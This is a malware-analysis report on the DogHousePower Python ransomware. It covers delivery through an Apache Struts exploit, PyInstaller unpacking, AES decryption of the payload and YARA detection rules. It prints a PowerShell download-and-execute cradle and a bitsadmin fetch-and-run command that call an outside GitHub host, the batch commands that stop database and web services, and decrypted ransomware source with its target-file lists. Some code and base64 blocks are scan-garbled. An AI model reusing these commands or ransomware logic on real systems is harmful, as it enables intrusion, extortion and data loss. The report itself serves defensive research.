

PALADION CYBER LABS

# DogHousePower: Python Based Ransomware

Newly Identified Ransomware with cross-platform capabilities

Author:

Shyaam Sundhar

Chief Architect – Threat Hunting & Analytics

## Background

We discovered the DogHousePower ransomware that specifically targets web servers and database servers running on the Windows Server operating system, and it was interesting to see that it is hosted on GitHub. There are many interesting observations from the DogHousePower activity within the test lab including, Python PyInstaller being utilized for creating the ransomware, fully-encrypted payload (wo\_crypted), windows event logs being cleared (but did not show up in the sandbox results), and no network activity (or post-compromise communication). The rise of Python based malwares, could be due to the ease of coding it or for its cross-platform nature. The paper uncovers the encrypted payload and the steps that DogHousePower takes to fully compromise the affected host, their demand for ransom and how they might expand into cross-platform implementation in the near future.

## Exploring the malware

Initially we analyzed the ransomware binary "2.exe" using the Hybrid Analysis **VxStream** Sandbox and a Windows virtual machine. We observed that the **struts-pwn attack tool** was being utilized to target the vulnerability ([CVE-2017-5638](#)) in Apache Struts 2, delivering the ransomware payload using Microsoft PowerShell. We called the Ransomware DogHousePower for the file-extension it uses on encrypted files.



Here is how the exploit uses PowerShell as a downloader for the PyInstaller ransomware payload:

```

<command><string>powershell</string><string>-
exec</string><string>bypass</string><string>-
c</string><string>"IEX</string><string>(New-
Object</string><string>System.Net.WebClient).DownloadString('https[:]//raw[.]github
usercontent[.]com/V0rt3xClub/FITKO/master/t4.ps1')"</string></command>

```

The downloaded Microsoft PowerShell script t4.ps1 uses the Windows Background Intelligent Transfer Service (BITS) administrative tool bitsadmin to download 2.exe from a GitHub repository, writes it to a host as C:\w.exe, and executes it via the command shell:

```

$cmd="bitsadmin /transfer n
https[:]//raw[.]githubusercontent[.]com/V0rt3xClub/FITKO/master/2.exe C:\\w.exe &
start C:\\w.exe"
cmd /c $cmd

```

Once the ransomware is executed, it creates the batch file dangerDAY.bat, which is used to stop the database servers/services such as MariaDB, MySQL, MSSqlServer, OracleServiceORCL, MongoDB, PostgreSQL, web servers/services like Nginx, Apache 2.3, and taskkill to Java, Tomcat, HTTP daemon, Apache and Nginx, as shown below:

## Hybrid Analysis

 Tip: Click an analysed process below to view more details.

Analysed 16 processes in total (System Resource Monitor).

```

Input Sample (PID: 3608)
└─ Input Sample (PID: 2840)
    └─ cmd.exe 'cmd /c "C:\dangerDAY.bat"' (PID: 2984) ➔
        └─ sc.exe sc stop MariaDB (PID: 3100) ➔
        └─ sc.exe sc stop mysql (PID: 3068) ➔
        └─ sc.exe sc stop mssqlserver (PID: 3168) ➔
        └─ sc.exe sc stop OracleServiceORCL (PID: 3584) ➔
        └─ sc.exe sc stop MongoDB (PID: 3664) ➔
        └─ sc.exe sc stop postgresql (PID: 3680) ➔
        └─ sc.exe sc stop nginx (PID: 3624) ➔
        └─ sc.exe sc stop apache2.4 (PID: 3648) ➔
        └─ taskkill.exe taskkill /im java.exe /f (PID: 3612) ➔
        └─ taskkill.exe taskkill /im tomcat* /f (PID: 3760) ➔
        └─ taskkill.exe taskkill /im httpd.exe /f (PID: 3732) ➔
        └─ taskkill.exe taskkill /im apache* /f (PID: 3700) ➔
        └─ taskkill.exe taskkill /im nginx* /f (PID: 3712) ➔

```

Logged Script Calls | Logged Stdout | Extracted Streams | Memory Dumps  
 Reduced Monitoring | Network Activity | Network Error | Multiscan Match

```

1 if 64 - 64: IiiIIiiIIi
2 def 000o ( ) :
3     0o0oo = str ( sys . argv [ 0 ] )
4     000000000 = "/c cd /d " + os . getcwd ( ) + "&ping -n 3 127.0.0.1 >nul"
5     win32api . ShellExecute ( 0 , 'open' , 'cmd' , 000000000 , '' ,
6     if 5 - 5: II / iiII
7     if 61 - 61: IIiIiIiIiIiI % IIiII
8     def IIiIiIiIiIiI ( ) :
9         IIiIIiIi = """"sc stop MariaDB
10        sc stop mysql
11        sc stop mssqlserver
12        sc stop OracleServiceORCL
13        sc stop MongoDB
14        sc stop postgresql
15        sc stop nginx
16        sc stop apache2.4
17        taskkill /im java.exe /f
18        taskkill /im tomcat* /f
19        taskkill /im httpd.exe /f
20        taskkill /im apache* /f
21        taskkill /im nginx* /f"""
22        000000 = open ( 'dangerDAY.bat' , 'w' )
23        000000 . write ( IIiIIiIi )
24        000000 . close ( )
25        win32api . ShellExecute ( 0 , 'open' , 'dangerDAY.bat' , '' , ''
26        time . sleep ( 12 )
27        os . remove ( 'dangerDAY.bat' )
28        try :
29            IIiIIiIiIi ( )
30        except :
31            pass
32        if 92 - 92: 000 / oo000 % IIiIiIiIiIi / o0000 - iiIIiIIiI . II
33        time . sleep ( 6 )
34        if 48 - 48: IIiIIiIi % IIiII + IIiIIiIi / oo0o0o * o0000oo
35        if os . path . isfile ( "C:\\!How_To_UnloCK.tXT" ) == 1 :
36            sys . exit ( 0 )

```

Using the strings command it was possible to find sequences of printable characters that revealed clues about the ransomware and its capabilities. In order to limit the output for readability, the egrep command is used with the “-i” flag for case-insensitivity, and limiting the string matches to these three (\*.pyd, python, and \*.manifest). We use Remnux for our analysis, for which we would like to credit [Lenny Zeltsar](#) for his efforts in the Reverse Engineering community.

```
remnux@remnux:~/mal/ransomware/pyinst$ strings 2.exe | egrep -i '*.pyd|pythonl*.manifest'
pyi-windows-manifest-filename
Py_SetPythonHome
Failed to get address for Py_SetPythonHome
Failed to get address for PyDict_GetItemString
Error loading Python DLL '%s'.
Error detected starting Python VM.
cPyd
Lcpyd
pyreadline.clipboard.ironpython_clipboard(
pyreadline.console.ironpython_console(
pyreadline.keysyms.ironpython_keysyms(
pythoncom(
bCrypto.Cipher._AES.pyd
bMicrosoft.VC90.CRT.manifest
bMicrosoft.VC90.MFC.manifest
b_ctypes.pyd
b_hashlib.pyd
b_socket.pyd
b_ssl.pyd
b_win32sysloader.pyd
bz2.pyd
bpython27.dll
bpythoncom27.dll
bselect.pyd
bunicodedata.pyd
bwin32api.pyd
bwin32com.shell.shell.pyd
bwin32evtlog.pyd
bwin32trace.pyd
bwin32ui.pyd
bwo_crypted.exe.manifest
opyi-windows-manifest-filename wo_crypted.exe.manifest
python27.dll
remnux@remnux:~/mal/ransomware/pyinst$
```

The output from strings lead us to discover that "2.exe" was created with PyInstaller. PyInstaller is a program that converts (packages) Python programs into stand-alone executables, under Windows, Linux, Mac OS X, FreeBSD, Solaris and AIX. Python and PyInstaller could allow for cross-platform deployment of the DogHousePower ransomware. Cross-platform functionality using PyInstaller with `sys.platform()` during build configuration, which gives '`linux`' (for Linux), '`win32`' (for Windows), '`cygwin`' (for Windows/Cygwin) and '`darwin`' (for Mac OS X) and then code the build for the corresponding operating system.

We could use `os.name()` to check if OS specific modules are available. But if you would want to check the system type at runtime, it can be done with `platform.system()` function. There are other commands such as `os.uname()`, `sys.platform()`, `ver()`, etc. that could be utilized for the same purpose of detecting the operating system and performing actions based on the output. There is also a built-in package in PyInstaller called `PyInstaller.compat` that can be utilized to check the operating system:

## Useful Items in PyInstaller.compat

A hook may import the following names from PyInstaller.compat, for example:

```
from PyInstaller.compat import modname_tkinter, is_win
```

**is\_py2**: True when the active Python is version 2.7.

**is\_py3**: True when the active Python is version 3.X.

**is\_py34, is\_py35, is\_py36**: True when the current version of Python is at least 3.4, 3.5 or 3.6 respectively.

**is\_win**: True in a Windows system.

**is\_cygwin**: True when sys.platform=='cygwin'.

**is\_darwin**: True in Mac OS X.

**is\_linux**: True in any Linux system (sys.platform.startswith('linux')).

**is\_solaris**: True in Solaris.

**is\_aix**: True in AIX.

**is\_freebsd**: True in FreeBSD.

**is\_venv**: True in any virtual environment (either virtualenv or venv).

**base\_prefix**: String, the correct path to the base Python installation, whether the installation is native or a virtual environment.

**modname\_tkinter**: String, Tkinter in Python 2.7 but tkinter in Python 3. To prevent an unnecessary import of Tkinter, write:

```
from PyInstaller.compat import modname_tkinter
excludedimports = [ modname_tkinter ]
```

**EXTENSION\_SUFFIXES**: List of Python C-extension file suffixes. Used for finding all binary dependencies in a folder; see file:*hook-cryptography.py* for an example.

The following YARA rules were created in order to quickly identify PyInstaller Windows binaries and PyInstaller Windows binaries using suspicious Python .pyd files. Python .pyd files are in the format of a .DLL file, intended specifically as a Python extension. YARA is a tool used by malware researchers to identify and classify malware samples.

YARA rule "pyinst-win.yara" provides generic detection of PyInstaller Windows binaries by looking for strings that are commonly associated with PyInstaller:

```
rule PyInstaller_Windows_Binary
{
meta:
    author = "Adair John Collins, Shyaam Sundhar"
    desc = "Generic Detection of PyInstaller Windows Binaries"
strings:
    $string0 = "pyi-windows-manifest-filename"
    $string1 = "python"
    $string2 = ".manifest"
    $string3 = "zout00-PYZ.pyz"
condition:
    all of them // and new_file
}
```

```
1. remnux@remnux: ~/mal/ransomware (ssh)
remnux@remnux:~/mal/ransomware$ yara pyinst-win.yara
PyInstaller_Windows_Binary pyinst-win.yara
remnux@remnux:~/mal/ransomware$
```

YARA rule "pyinst-win-crypto.yara" looks for strings that are commonly associated with PyInstaller and the Python .pyd file "Crypto.Cipher", which is used for secure hash functions and various encryption algorithms.

```
rule Crypto_Cipher_PyInstaller_Windows_Binary
{
meta:
    author = "Adair John Collins, Shyaam Sundhar"
    desc = "Pyinstaller Windows Binary containing Crypto.Cipher"

strings:
$string0 = "pyi-windows-manifest-filename"
$string1 = "python"
$string2 = ".manifest"
$string3 = "zout00-PYZ.pyz"
$string4 = "Crypto.Cipher"

condition:
    all of them // and new_file
}
```

```
1. remnux@remnux: ~/mal/ransomware (ssh)
remnux@remnux:~/mal/ransomware$ yara pyinst-win-crypto.yara
Crypto_Cipher_PyInstaller_Windows_Binary pyinst-win-crypto.yara
remnux@remnux:~/mal/ransomware$
```

YARA rule "pyinst-win-evtlog.yara" looks for strings that are commonly associated with PyInstaller and the Python .pyd file "win32evtlog", which provides interaction with Windows event logs.

```

rule win32evtlog_PyInstaller_Windows_Binary
{
    meta:
        author = "Adair John Collins, Shyaam Sundhar"
        desc = "PyInstaller Windows Binary containing win32evtlog"

    strings:
        $string0 = "pyi-windows-manifest-filename"
        $string1 = "python"
        $string2 = ".manifest"
        $string3 = "zout00-PYZ.pyz"
        $string4 = "win32evtlog"

    condition:
        all of them // and new_file

```

```

1. remnux@remnux: ~/mal/ransomware (ssh)
remnux@remnux:~/mal/ransomware$ yara pyinst-win-evtlog.yara 2.exe
win32evtlog_PyInstaller_Windows_Binary 2.exe
remnux@remnux:~/mal/ransomware$ █

```

## Extracting components

Install PyInstaller using the Python package management system “pip”. PyInstaller provides “pyi-archive\_viewer” and “pyinstxtractor.py”. These Python scripts allow for viewing and extracting the contents of a PyInstaller archive.

**Command to install PyInstaller:** `$ sudo pip install pyinstaller`

**Command to view archive:** `$ pyi-archive_viewer ./2.exe`

```
1. remnux@remnux: ~/mal/ransomware/pyinst (ssh)
remnux@remnux:~/mal/ransomware/pyinst$ pyi-archive_viewer 2.exe
pos, length, uncompressed, iscompressed, type, name
[(0, 170, 234, 1, 'm', u'struct'),
 (170, 1167, 2760, 1, 'm', u'pyimod01_os_path'),
 (1337, 4368, 12639, 1, 'm', u'pyimod02_archive'),
 (5705, 7403, 23413, 1, 'm', u'pyimod03_importers'),
 (13108, 1817, 5039, 1, 's', u'pyiboot01_bootstrap'),
 (14925, 436, 692, 1, 's', u'pyi_rth_win32comgenpy'),
 (15361, 14831, 20593, 1, 's', u'wo_crypted'),
 (30192, 16873, 29184, 1, 'b', u'Crypto.Cipher._AES.pyd'),
 (47065, 545, 1050, 1, 'b', u'Microsoft.VC90.CRT.manifest'),
 (47610, 574, 1139, 1, 'b', u'Microsoft.VC90.MFC.manifest'),
 (48184, 41260, 91648, 1, 'b', u'_ctypes.pyd'),
 (89444, 479925, 1016832, 1, 'b', u'_hashlib.pyd'),
 (569369, 21972, 46592, 1, 'b', u'_socket.pyd'),
 (591341, 675544, 1410048, 1, 'b', u'_ssl.pyd'),
 (1266885, 3656, 8192, 1, 'b', u'_win32sysloader.pyd'),
 (1270541, 36734, 71168, 1, 'b', u'bz2.pyd'),
 (1307275, 2022674, 3759104, 1, 'b', u'mfc90.dll'),
 (3329949, 2024823, 3774464, 1, 'b', u'mfc90u.dll'),
 (5354772, 24295, 59904, 1, 'b', u'mfcm90.dll'),
 (5379067, 24282, 59904, 1, 'b', u'mfcm90u.dll'),
 (5403349, 67070, 225280, 1, 'b', u'msvcm90.dll'),
 (5470419, 158309, 570520, 1, 'b', u'msvcp90.dll'),
 (5628728, 318025, 653976, 1, 'b', u'msvcr90.dll'),
 (5946753, 1203464, 2640384, 1, 'b', u'python27.dll'),
 (7150217, 142324, 396800, 1, 'b', u'pythoncom27.dll'),
 (7292541, 42771, 110080, 1, 'b', u'pywintypes27.dll'),
 (7335312, 5389, 10240, 1, 'b', u'select.pyd'),
 (7340701, 257730, 687104, 1, 'b', u'unicodedata.pyd'),
 (7598431, 40198, 100864, 1, 'b', u'win32api.pyd'),
 (7638629, 127409, 381952, 1, 'b', u'win32com.shell.shell.pyd'),
 (7766038, 19905, 49664, 1, 'b', u'win32evtlog.pyd'),
 (7785943, 7015, 15872, 1, 'b', u'win32trace.pyd'),
 (7792958, 242277, 778240, 1, 'b', u'win32ui.pyd'),
 (8035235, 527, 1347, 1, 'b', u'wo_crypted.exe.manifest'),
 (8035762,
 0,
 0,
 0,
 'o',
 u'pyi-windows-manifest-filename wo_crypted.exe.manifest'),
 (8035762, 6585, 21321, 1, 'x', u'Include\\pyconfig.h'),
 (8042347, 1281206, 1281206, 0, 'z', u'out00-PYZ.pyz')]
```

**Command to extract archive: \$ pyinstxtractor.py 2.exe**

Let us now look into the files that are extracted through the above process.

\$ ls

Python .pyd files are included by the PyInstaller to provide functionalities that are being utilized by the DogHousePower ransomware. We will focus on wo\_crypted, as that seems to have the encryption/decryption routine, which is a unique file created for the DogHousePower ransomware (out of the list of all the files we extracted), and it did not have any results on [VirusTotal](#).

```
$ file wo_crypted
```

```
1. remnux@remnux: ~/mal/ransomware/pyinst (ssh)
remnux@remnux:~/mal/ransomware/pyinst$ file wo_crypted
wo_crypted: data
remnux@remnux:~/mal/ransomware/pyinst$
```

#### *File Properties:*

MD5: 855f8b7bfacb52bf20c381f1a5c6e540

SHA-1: 38e63521ea335050b51dc929840d78c0ccb6276b

File Type: unknown

Magic: data

SSDeep:

384:P6Uh/XFS26sTZkse7W8hu7LxFxXiUKKQ+HUOycNBAk+WMrPqROduhDoWa:pDSD

JY1gcL6yNoP

File Size: 20.11 KB

The strings command shows strings indicating AES encrypted and base64 encoded data.

```
$ strings -o wo_crypted
```

```
2. remnux@remnux: ~/mal/ransomware/pyinst (ssh)
remnux@remnux:~/mal/ransomware/pyinst$ strings -o wo_crypted
315 AES
332 b64decodes
350 ZXh1YyhQVU1fOTUwLm5ldygjKiRiaUdbL1NqWEhyZWF6NTh4NGx3JDjizkRSWTQuP2oikS5kZWNyxeXB0KGtNaF84NTcoInpI0
DlrcTJGeUpqYzRXNytZejv6MGt2WFrmk5yeVNucnVvKzNoeWU4WVdWaFY5k2VjcjJoV01zcUh3VFE0V2trYW92V0RBS01zdU1xdn1Xc3
NsUHh6dGJ2YnMxei9uZTdMc0hDR0UwWWUF1VxppeTnPn3RqempFvk1HZFhOY01DWjJYUVRsdcSyaw9mdjNIMTRNdC0UctXRDIWymZqYmJ
iOXFMYUVBM3pjEloQS9waFRwVHRnYS92SE9TSkR00XhKbGFTQWhiWWduUXg40TB2Vzdsenl0L1BEQU1ZV0qbVjtSWNCa9RMUh0M0tB
THNKZW5REZkaEdtRG1XRWlQ0VZBNTN6U1FqWWV3zjU5czBhvzVLVW5MUTA0YTFrVDF1MGT0ZWdmaWNSRVE1VWk1Mmo1WGMzTlMxRDdaQ
WtSWUx0N2Z1ZwWRU8y0ppbzU4MuJhBaVVuMXFIU5jN2kxT0w1R3dVa2pZRNQSExybjFURUxXaEZhbFdMqjh60E1GNXRLcF1zR1MzKy
9PN0MycvZMnkzZdhTTjFTVHNwOHVkJnZCUSTwZ113Qg0cWFVc1I53GdCS1IEctN3u1i9jWvpZekNQenlCMHF6c2R0k2JnUDBtM3RVbjd
CND1VbH1uQ3VwdnNHWkZFSjhEMp3WVG0cnhxDHFQNm5Gc1keyejNpOUNkV05mNjUuwFUxY3RVd0p5MByz1R2enI5K3RHUVFWk3psYWFU
TmpHYm5iVFZGQ1RhQkM0T2NabmZRTGoyaGJUV002Vn15UEtnY1E3Z25odU1MznR3QTFiTmpvRUheUzB6WkVtZzVsdFR3R3ErSFRLTWdGM
3JrRTM5eUwRHFuatYYdwFWSOD1WY2ZvaUt1dDJLRVvoSjZ1dkhoSzvM0NQQVNVQjh2c1ZxeV1B1ERGQIB5M1FnbpQbjV3eU1rWnIrbdF
FPK1qxTUdmVZYZMzZWdpnR1VPU0M1b38LzysvMnFIVxpraUdNQnhJvmlZ1N0Z1LNU5n0FVaJRSMo1Tj1QRWQ3MzBKdjA1U3ZwbjZ1MjM
0TFFhTw5NDZabGdtZVQyVFRNMThVUG51Q3hzBSt5NNV0bzcvUmhYL1R1VUthVjB1RFNoSVIzTlR4U01ObG4rcVvHNxhhGtBly91Tw1a
SEhtR1E3WjhYdmJsmnZDdnZaN3Z2bXh3NHOrUW0vb9NL3NWSh1Z0XdmZUVwY2RjaXqvUERBSV1XRDBtUm1JY0Job1ExSE4zS0Fmc2R1Z
nLERmRoR21EbVdFaUcwQ0FCajBFs1BYRXZUTkZ4Wt1.60HBLMEwyVTQzQVRiWUNKenFyNWRac0RJU1V1NGZpWFhCeUdKV3VEDnZBZkg1TT
ZpRDR0Wm5tTzfodkL2d9rYVdSNFRLYk1pUk9ckYczfPOUVodndXaxdLM3VxRkNoWD1MFRRT1E50FIxNGo4ewRXNrndqSukyaHRYUh
hbXo4S2jad3nvNU12VTLPYWtsNVJ0dxRqQUtJNStXadVvNGc3NFjJy29X0XU2VGNzWghyY3RMVF6Rzk3Z0hPU05CMNRXd2xPenR0R1FU
MWRhR2JFUKnNZSY1BuMi9NZXNpdnIzWi9XUzU3NUZjbTRieWsvbkNsUHBNM1Q2cEJMeTJUWjB4QUp4T2NRWnVzU0JGS1pzem5EWWcxS
ElsvWppUGs5QVR3TVsR3grTkFhd2gramJWRXpzcVFammpvOURyNWRFQnR2RWtTbWVQbzU4Z1ArYmc3R1hBSVA1V29u0VFoZvXk1uRF
```

The strings command shows us the modules listed below that we will reuse in our python decryption script later.

```
$ strings -a -o wo_crypted
```

We copied the base64 encoded data from "wo\_crypted" into a txt file called "foo" and decoded "foo" using cat and base64 decode command and redirected the output to the file "bar".

```
$ cat foo | base64 -d > bar
# strings on the bar decoded piece.
$ strings -o bar
```

```
remnux@remnux:~/mal/ransomware/pyinst (ssh)
remnux@remnux:~/mal/ransomware/pyinst$ strings -o bar
0 exec(PUM_950.new("*$bIG[/$jXHreaz58x4lw$2bfDRY4.?j").decrypt(kMh_857("zH89kq2FyJjc4W7+Y
z5z0kvXTp2NrySTruU+3hye8YWVhV9+eIr2hWMsqHwTQ4WkkaoWDAKB3uMqvyWss1Pxztvbvc1z/ne7LsHCGE0YAuUzziy3
i7tjzjEVMGdXNcICZ2XQTLt+2iofv3H14D474P+WD9Vbfjbbb9qLaEA3zcpIhA/phTpTtga/vHOSJDt9xJlaSAhbYgnQx89
0vW7Lzyt/PDAIYWD0mRmIcBhoQ1HN3KALsdefyDFdhGmDmWEiP9VA53zSQjYUwf59s0GW5KUnLQ04a1kT1u0kNegficREQ5
Ui52j5Xc3NS1D7ZAKrYLt7fue1VE029zio581lHaUn1qHuNc7i10L5GwUkjYdcPHLrn1TELWhFGlWL8z8MF5tKpYsGS3+/
07C2qVLz3d8SN1STS8udBvBQ+VfYwCH4qaUrR7HgBJYDq3wR/cYZYzCPzyB0qzsdp+bgP0e3tUn7B49UlynCupvsGZFEJ
8D2jwXeNrxWtpP6nFrNfWNF650TU1ctUwJy0prgTvzr9+tGQV+z1aaTNjGbnbTVFBtaBC40cZnfQLj2hbTWM6Vyy
PKgb7gnhuMLftwA1bNjoEHDS0zZEmg5ltTwGq+HTKMgF3rkE39yEpDqni62uaR89VcfUiKet2KEUhJ6uvHhK9/3CPAUMB8
vrVqyPuXDFBPY3QgnzPn5wyMkZr+1Q0+T1MGFWFx36VuZgFU0SC5opeg+/2qHUzkiGMBhIVfu7Fe5NF7AUj4R3K5N9PEd73
0Jv0SSvpn6u234LQaMk946Z1gmeT2TM18UPnuCxsm+y5Uto7/RhX/TuUKaV0uDShIR3NTxSIN1n+qUG5xatka//eMiZHm
GQ7Z8Xvbl2vCvvZ7vmmxw4z+Qm/l0M/sVHyY9wLeEpcdcit/PDAIYWD0mRmIcBhoQ1HN3KALsdefyDFdhGmDmWEiG0CABj0
EKPXEvTNFxY9z8pK0L2U43ATbYCJzqr5dZsDISUe4f1XXByGJWuDvvAfH5M6iD4Nznm01hvIvu/kaW4TebMiR0drF2s109
EhwWiwK3uqFChX250TQ0Q98R14j8ydW6wjII2htFaHamz8KbZwxo5B6U90ak15RNutjAKI5+Wh5r4g74RcWoW9u6TcsXhr
ctLTazG97gHOSNB1dWwl0ztNGQT1daGbERCs5vRbPn2/Mesivr3Z/WS575Fc4byk/nCLPpM3T6pBLy2Tz0xAJx0cQZusSB
FKZsznDyg1H1lUjipk9ATwMTLgx+NAgwh+jbVEzsqQZ2jo9Dr5dEBtvEkSmePo58fp+bg7GXAIP5WOn9QhfVvWVmndZy58Xg
OUVvh3gQUQLj82iuiaIUXQenDnp82UQcSiW3eBQaV1kX0GsMNnce3CDgawQ67+FzaOBhMHIRTk0lJB1didxrkaZfJmcBjEjZ
wad5+1YNKdFZM6VpLg8x4jBGwPNcCekBcb/B83jH7c9W6pBB0z/nt9t8aB918n20MlzDRTYE/FyeUOnGjmVisjVNLL+D0k
KM5dIEzETTH+NI/VcA+1cPx5ntGE5enr4Jh04HzyqP0ZKDRaMEOS8z0y5cL10EkHr/wGsm2LvSKjq9N53Jo4Me9vmpwdBG
7UgfBDQQuMab4Fef4tFviQPBufriPaVr3ZAf9f0w0bnR5zqaoYuAarZmNSAkDb2Qygi+Tchx9P4xJLENEWMXn3KkrR0WLc
rHtMgcJwp/B2y7M+1899J8Kyyvkz4Hhg0Kwnek/yEPyCAEj1Wro19Xovr3hrfe44Tw+6E8zkWxuGX56YcEMCbMXb7EBuSZ
j/LYgKMXA53Bfx0pTFhwXUXKqiAN2e0F5UrHha0CT4pLFh//ia9dgyZy2anI0ZX+L9CqyPdDG+oavSg1y9+AuS21ZqjxHd
```

Python script used to decrypt by replacing "exec" with "print" and importing the AES module as "PUM\_950" and the b64decode function from the base64 module as "kMh\_857". Here, we are displaying the contents of the wo\_decrypt.py Python script using cat:

```
$ cat wo_decrypt.py
```

```
remnux@remnux:~/mal/ransomware/pyinst (ssh)
remnux@remnux:~/mal/ransomware/pyinst$ cat wo_decrypt.py
#!/usr/bin/env python
from Crypto.Cipher import AES as PUM_950
from datetime import date
from base64 import b64decode as kMh_857
import struct, binascii, ctypes, random, time
from datetime import datetime
print(PUM_950.new("*$bIG[/$jXHreaz58x4lw$2bfDRY4.?j").decrypt(kMh_857("zH89kq2FyJjc4W7+Yz5z0kvX
Tp2NrySTruU+3hye8YWVhV9+eIr2hWMsqHwTQ4WkkaoWDAKB3uMqvyWss1Pxztvbvc1z/ne7LsHCGE0YAuUzziy3i7tjzjE
VMGdXNcICZ2XQTLt+2iofv3H14D474P+WD9Vbfjbbb9qLaEA3zcpIhA/phTpTtga/vHOSJDt9xJlaSAhbYgnQx890vW7Lzy
t/PDAIYWD0mRmIcBhoQ1HN3KALsdefyDFdhGmDmWEiP9VA53zSQjYUwf59s0GW5KUnLQ04a1kT1u0kNegficREQ5Ui52j5X
c3NS1D7ZAKrYLt7fue1VE029zio581lHaUn1qHuNc7i10L5GwUkjYdcPHLrn1TELWhFGlWL8z8MF5tKpYsGS3+/07C2qVL
2y3d8SN1STS8udBvBQ+VfYwCH4qaUrR7HgBJYDq3wR/cYZYzCPzyB0qzsdp+bgP0e3tUn7B49UlynCupvsGZFEJ8D2jwXe
NrxWtpP6nFrYz2i9cdWNF650TU1ctUwJy0prgTvzr9+tGQV+z1aaTNjGbnbTVFBtaBC40cZnfQLj2hbTWM6VyyPKgbQ7g
nhuMLftwA1bNjoEHDS0zZEmg5ltTwGq+HTKMgF3rkE39yEpDqni62uaR89VcfUiKet2KEUhJ6uvHhK9/3CPAUMB8vrVqyPu
XDFBPY3QgnzPn5wyMkZr+1Q0+T1MGFWFx36VuZgFU0SC5opeg+/2qHUzkiGMBhIVfu7Fe5NF7AUj4R3K5N9PEd730Jv05Sv
pn6u234LQaMk946Z1gmeT2TM18UPnuCxsm+y5Uto7/RhX/TuUKaV0uDShIR3NTxSIN1n+qUG5xatka//eMiZHmGQ7Z8Xv
b12vCvvZ7vmmxw4z+Qm/l0M/sVHyY9wLeEpcdcit/PDAIYWD0mRmIcBhoQ1HN3KALsdefyDFdhGmDmWEiG0CABj0EKPXEvT
NFxY9z8pK0L2U43ATbYCJzqr5dZsDISUe4f1XXByGJWuDvvAfH5M6iD4Nznm01hvIvu/kaW4TebMiR0drF2s109EhwWi
K3uqFChX250TQ0Q98R14j8ydW6wjII2htFaHamz8KbZwxo5B6U90ak15RNutjAKI5+Wh5r4g74RcWoW9u6TcsXhrctLTazG
97gHOSNB1dWwl0ztNGQT1daGbERCs5vRbPn2/Mesivr3Z/WS575Fc4byk/nCLPpM3T6pBLy2Tz0xAJx0cQZusSBFKZsznD
Yg1H1lUjipk9ATwMTLgx+NAgwh+jbVEzsqQZ2jo9Dr5dEBtvEkSmePo58fp+bg7GXAIP5WOn9QhfVvWVmndZy58Xg0UVvh3g
```

Redirect the decoded and decrypted content to the file "decrypted.txt"

```
$ ./wo_decrypt.py > decrypted.txt
```

Display the content of the file "decrypted.txt". Here we have the decoded and decrypted Python script that is the DogHousePower ransomware (comments inserted for clarity).

```
$ cat decrypted.txt
```

```
if 64 - 64: i11iliilii
def OOOoo ():

    # Get the attributes of the current script or file.
    OoOoo = str ( sys . argv [ 0 ] )

    # Get into the current working directory, ping 127.0.0.1 three times, and delete the
    # arguments of the script (str) that is being returned from sys.argv[0].
    OOOOOOOOOOOO = "/c cd /d " + os . getcwd ( ) + "&ping -n 3 127.0.0.1&del %s"%
    OoOoo

    # Execute the command that is put together in OOOOOOOOOOO by opening command
    # shell.
    win32api . ShellExecute ( 0 , 'open' , 'cmd' , OOOOOOOOOOO , "" , 0 )
    if 5 - 5: iiI / ii1I
    if 61 - 61: iiI111iiiii11 % I1liil
    def Ili1liil1li ( ):

        # Providing service stop commands into the variable I11i11li for MariaDB, MySQL,
        # MSSQLServer, OracleServiceORCL, MongoDB, PostgreSQL, Nginx, Apache2.4 and
        # taskkill for Java, Tomcat, HTTP Daemon, Apache and Nginx.
        I11i11li = """sc stop MariaDB
sc stop mysql
sc stop mssqlserver
sc stop OracleServiceORCL
sc stop MongoDB
sc stop postgresql
sc stop nginx
sc stop apache2.4
taskkill /im java.exe /f
taskkill /im tomcat* /f
taskkill /im httpd.exe /f
taskkill /im apache* /f
taskkill /im nginx* /f"""


```

```
# Open dangerDAY.bat in write mode and write the contents of l11i11li into the batch file.
o000oOo = open ( 'dangerDAY.bat' , 'w' )
o000oOo . write ( l11i11li )
o000oOo . close ()

# Open the dangerDAY.bat, execute it on the Shell, sleep for 12 seconds and then remove the dangerDAY.bat, batch file.
win32api . ShellExecute ( 0 , 'open' , 'dangerDAY.bat' , " " , " " , 0 )
time . sleep ( 12 )
os . remove ( 'dangerDAY.bat' )
try :
    l1i1lii1li ()
except :
    pass
if 92 - 92: 000 / oo000 % lili11illi1li / o0000 - iiiili11i . li1l
time . sleep ( 6 )
if 48 - 48: ill111i % lill + l1li111 / ooOoOoo * o0000oo

# If the ransom file !HoW_To-UnloCK.tXT exists on C:\, then exit.
if os . path . isfile ( "C:\\!HoW_To-UnloCK.tXT" ) == 1 :
    sys . exit ( 0 )

# This is the only location, where the variable Oo0000o0 is used and is defined with the value "ensbawiquhudwoahncnmwi2jws.kp". Could this be a placeholder for further expansion or deprecated code from the prior version?
Oo0000o0 = "ensbawiquhudwoahncnmwi2jws.kp"
if 9 - 9: o0o - OOO0o0o

# Here is the list of file-extensions of the files that will be encrypted by DogHousePower ransomware. Couple of questions to ask here are, why encrypt only files with these extensions, why use two separate lists of small and large character extensions, and why encrypt the wallet.dat especially when they want money to get paid over BitCoin.

l1i1l = [ 'wallet.dat' , 'ibdata1' , 'Msg3.0.db' , 'FileShare1.0.db' , 'Registry.db' ]
Oo = [ '.rc' , '.rb' , '.cs' , '.key' , '.dwg' , '.conf' , '.hvm' , '.rpm' , '.iso' , '.vti' , '.mca' , '.raw' ,
'.crt' , '.rar' , '.pot' , '.mid' , '.xlam' , '.aac' , '.avi' , '.bmp' , '.pptm' , '.eif' , '.dot' , '.php' , '.csv' ,
'.wma' , '.ec' , '.et' , '.wmv' , '.sln' , '.pl' , '.des' , '.htm' , 'sqlitedb' , '.7z' , '.e' , '.mdf' , '.jpg' ,
'.cpp' , '.dbf' , '.ps' , '.htm' , '.saz' , '.lua' , '.asp' , '.gpg' , '.vba' , '.class' , '.deb' , '.xz' , '.asc' ,
'.xltx' , '.log' , '.vbs' , '.rsa' , '.cap' , '.asm' , '.sh' , '.dmp' , '.psd' , '.xls' , '.xlt' , '.app' , '.pdf' ,
'.img' , '.ora' , '.pub' , '.html' , '.apk' , '.dds' , '.str' , '.fly' , '.aspx' , '.tif' , '.mpeg' , '.ps1' , '.bak' ,
'.gif' , '.ppt' , '.config' , '.pps' , '.rtf' , 'sqlite3' , '.mov' , '.csv' , '.docm' , '.frm' , '.sxp' , '.rdp' ,
'.bz2' , '.vmdk' , '.xslm' , '.id' , '.aes' , '.ns' , '.vdi' , '.ldf' , '.wps' , '.wpt' , '.sql' , '.c' , '.opt' ,
```

```
